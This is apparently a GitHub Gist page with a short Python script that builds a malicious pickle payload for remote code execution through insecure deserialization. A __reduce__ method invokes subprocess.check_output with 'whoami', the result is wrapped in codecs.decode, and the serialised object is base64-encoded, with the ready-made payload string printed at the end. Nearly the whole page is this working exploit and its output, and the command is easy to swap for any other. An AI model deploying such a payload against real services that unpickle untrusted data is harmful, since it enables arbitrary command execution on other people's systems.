Created
June 20, 2020 16:51
-
-
Save Jonoans/d04a04ae8c74094580ddc4543509f596 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import codecs | |
import pickle | |
class RCE(object): | |
def __reduce__(self): | |
import subprocess | |
return (subprocess.check_output, (['whoami'], ) ) | |
class RCEStr(object): | |
def __reduce__(self): | |
return (codecs.decode, (RCE(), 'utf-8') ) | |
pickle_data = pickle.dumps({'name': RCEStr()}) | |
payload = base64.urlsafe_b64encode(pickle_data) | |
print(payload.decode('utf-8')) | |
# Outputs: gAN9cQBYBAAAAG5hbWVxAWNfY29kZWNzCmRlY29kZQpxAmNzdWJwcm9jZXNzCmNoZWNrX291dHB1dApxA11xBFgGAAAAd2hvYW1pcQVhhXEGUnEHWAUAAAB1dGYtOHEIhnEJUnEKcy4= |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment